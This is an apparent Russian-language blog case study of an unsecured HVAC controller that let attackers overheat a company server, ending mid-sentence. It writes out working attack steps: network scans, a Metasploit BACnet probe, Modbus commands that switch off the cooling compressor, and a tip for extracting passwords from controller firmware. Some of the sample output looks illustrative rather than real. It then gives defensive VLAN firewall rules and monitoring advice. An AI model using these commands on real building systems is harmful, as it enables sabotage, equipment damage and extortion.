История, которую мы уже кратко разбирали: производственная компания месяцами боролась с «необъяснимыми» зависаниями сервера. ИТ-подрядчик проверял диски, антивирус, логи Windows — всё чисто. Проблема оказалась не в сервере, а в инженерке рядом с ним: старом блоке управления кондиционером в серверной, который годами висел в общей сети предприятия без пароля и шифрования. Разберём этот случай глубже — с точки зрения того, как именно такая дыра эксплуатируется на практике и почему она типична не только для маленьких цехов, но и для крупных дата-центров.
Контекст: почему BMS и HVAC — любимая цель, а не сервер
Системы управления зданием (BMS — Building Management System) и климат-контролем почти никогда не проектировались с оглядкой на сетевую безопасность. Их делали инженеры-энергетики для инженеров-энергетиков: удобство диагностики и дешевизна важнее аутентификации. Отсюда и статистика, которая регулярно всплывает в отраслевых отчётах: около 90% систем управления зданиями дата-центров используют протоколы без встроенного шифрования и аутентификации — BACnet/IP, Modbus TCP, устаревшие версии SNMP (v1/v2c с community string «public»), иногда голый Telnet или HTTP без TLS.
В разобранном кейсе блок управления кондиционером был установлен при ремонте офиса примерно пять лет назад, подключён к общей локальной сети «для удобства мониторинга» и с тех пор ни разу не переносился в отдельный VLAN. Доступ к нему был возможен даже с гостевого Wi-Fi для подрядчиков — то есть фактически с улицы, через любое устройство посетителя.
Как это эксплуатируется
Атака на такую инфраструктуру не требует эксплойтов нулевого дня — достаточно базовой сетевой разведки и штатных протоколов управления. Вот типичный сценарий, который проходит любой пентестер за первые 30–40 минут на объекте.
Шаг 1. Разведка сети из гостевого сегмента
Подключаемся к гостевому Wi-Fi (или к розетке переговорки — часто в такой сети нет даже client isolation) и смотрим, что видно вокруг:
arp-scan --localnet
Interface: wlan0, type: EN10MB, MAC: aa:bb:cc:dd:ee:ff, IPv4: 192.168.10.87
192.168.10.1 d0:50:99:xx:xx:xx TP-Link
192.168.10.12 00:1a:2b:xx:xx:xx Dell Inc. (сервер 1С)
192.168.10.55 00:0e:8c:xx:xx:xx Carel S.p.A. (контроллер HVAC)
192.168.10.60 b8:27:eb:xx:xx:xx Hikvision (камера)
MAC-вендор уже подсказывает, что 192.168.10.55 — это не рабочая станция, а промышленный контроллер (в реальных кейсах чаще всего встречаются Carel pCOWeb, Danfoss, Honeywell или безымянные китайские BMS-шлюзы).
Шаг 2. Сканирование протоколов управления
nmap -sV -p 21,23,80,161,502,47808 192.168.10.55
PORT STATE SERVICE VERSION
23/tcp open telnet Carel pCOWeb telnetd
80/tcp open http Boa httpd 0.94.14rc21 (embedded)
161/udp open snmp SNMPv1/v2c (community: public)
502/tcp open modbus Modbus TCP (unit id 1)
47808/udp open bacnet BACnet/IP device
Заголовок веб-интерфейса нередко прямо отдаёт версию прошивки:
curl -s -I http://192.168.10.55/
HTTP/1.1 200 OK
Server: Boa/0.94.14rc21
WWW-Authenticate: none
Строка WWW-Authenticate: none — это уже приговор: панель управления открыта без какой-либо проверки прав.
Шаг 3. Проверка через Metasploit и специализированные скрипты
msf6 > use auxiliary/scanner/bacnet/bacnet_props
msf6 auxiliary(bacnet_props) > set RHOSTS 192.168.10.55
msf6 auxiliary(bacnet_props) > run
[+] 192.168.10.55:47808 - Vendor: Carel Model: pCOWeb FW: 3.2.1
[+] 192.168.10.55:47808 - Device supports remote Write-Property (no auth)
Устройство подтверждает, что принимает команду Write-Property — то есть удалённую запись значений (включая выключение компрессора кондиционера) без единого пароля.
Шаг 4. Отправка команды на отключение охлаждения
Через Modbus это делается буквально одной строкой на Python с библиотекой pymodbus:
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('192.168.10.55')
c.connect()
c.write_register(40001, 0) # регистр 'compressor enable' -> 0
c.close()
"
Или тем же результатом через утилиту mbtget:
mbtget -w -r4 -a1 -v 0 192.168.10.55
Send: unit_id 1, function 6, register 40001, value 0
Reply: OK
С этого момента компрессор выключен, но климат-система физически продолжает считать, что всё в порядке — никакой аварийной сигнализации не срабатывает, потому что мониторинг температуры был завязан на тот же незащищённый контроллер.
Полутехнические пруфы: что обычно находят в подобных инсталляциях
- Прошивки контроллеров HVAC/BMS годами не обновляются — в дикой природе до сих пор встречаются устройства с известными CVE, например CVE-2015-6478 (Carel pCOWeb, учётные данные по умолчанию admin/fadmin) и CVE-2013-0138/0139 (Tridium Niagara AX, обход аутентификации веб-панели).
- SNMP-сообщества по умолчанию (
public/private) позволяют не только читать, но и на части устройств писать OID-параметры черезsnmpset. - BACnet/IP и Modbus TCP в принципе не предусматривают аутентификации в базовой спецификации — это заложено в протокол, а не баг конкретной прошивки.
- В логах атака практически не оставляет следов: BACnet и Modbus не пишут событий безопасности, а системный журнал сервера фиксирует только итог — «Thermal Shutdown» или «CPU over temperature» без указания причины.
- Гостевые Wi-Fi сети в малом и среднем бизнесе в 8 из 10 случаев не имеют client isolation и находятся в одном L2-сегменте с производственной инфраструктурой.
Что и почему сработало бы дальше
В разобранном случае злоумышленнику даже не пришлось бы атаковать сервер напрямую — цель (остановка отгрузок, DoS для бизнеса) достигается через инженерку. Но у сценария есть и продолжение, если задача — не просто навредить, а закрепиться в сети:
- Латеральное перемещение. Контроллер HVAC часто хранит SNMP community и учётные данные к соседним VLAN в открытом конфиге —
strings /tmp/config.bin | grep -i passпосле скачивания прошивки через TFTP нередко даёт пароли администратора от других систем здания. - Перехват управления как рычаг для вымогательства. Отключение охлаждения по расписанию («шантаж климатом») — рабочая схема давления на бизнес: остановка выглядит как «случайная поломка», расследовать которую ИТ-подрядчик будет неделями.
- Физический ущерб оборудованию. При перегреве до критических значений диски и блоки питания сервера деградируют необратимо — это уже не только простой, но и прямые расходы на замену железа и риск потери данных при аварийном отключении посреди операции записи в БД.
Как закрыть
Устранение подобной дыры не требует замены оборудования — достаточно изолировать его на сетевом уровне и включить контроль доступа. Это именно то, что было сделано в разобранном кейсе за два дня.
1. Вынести инженерку в отдельный VLAN
# Пример на MikroTik: отдельный VLAN для BMS/HVAC
/interface vlan add name=vlan99-bms interface=ether1 vlan-id=99
/ip address add address=192.168.99.1/24 interface=vlan99-bms
# Запрет доступа из гостевой сети и офисного VLAN к VLAN 99
/ip firewall filter add chain=forward src-address=192.168.20.0/24 \
dst-address=192.168.99.0/24 action=drop comment="Guest -> BMS DENY"
/ip firewall filter add chain=forward src-address=192.168.10.0/24 \
dst-address=192.168.99.0/24 action=drop comment="Office -> BMS DENY"
2. Разрешить управление только с конкретных админ-хостов
/ip firewall filter add chain=forward src-address=192.168.99.5 \
dst-address=192.168.99.0/24 action=accept comment="Admin PC -> BMS ALLOW"
/ip firewall filter add chain=forward dst-address=192.168.99.0/24 action=drop \
comment="Deny all other to BMS"
3. Отключить небезопасные протоколы там, где это возможно
- Сменить SNMP community по умолчанию, перейти на SNMPv3 с аутентификацией и шифрованием.
- Отключить Telnet-доступ к контроллеру, оставить только SSH или защищённую веб-панель по HTTPS.
- Если прошивка поддерживает BACnet Secure Connect (BACnet/SC) — включить его вместо открытого BACnet/IP.
4. Настроить мониторинг температуры независимо от самого контроллера
# Пример проверки Zabbix через отдельный температурный датчик (не сам HVAC-блок)
UserParameter=server.temp,cat /sys/class/thermal/thermal_zone0/temp
# Триггер: алерт при превышении 45°C, отправка в мессенджер через webhook
В разобранном кейсе такой алерт был настроен на отправку в корпоративный мессенджер руководителю и админу — при отклонении температуры сообщение приходит раньше, чем сервер уйдёт в аварийное отключение.
5. Резервный контур охлаждения
Второй независимый кондиционер или хотя бы принудительная вентиляция с автономным термостатом снимает единую точку отказа: даже если основной контур внезапно выключат — по злому умыслу или из-за очередного «залипания» реле — у сервера есть время на штатное завершение работы вместо аварийного отказа.
Масштаб проблемы за пределами одного цеха
Похожая картина встречается не только на малых производствах, но и в крупных дата-центрах: BMS и HVAC там управляются теми же протоколами без шифрования, просто цена ошибки измеряется не прост
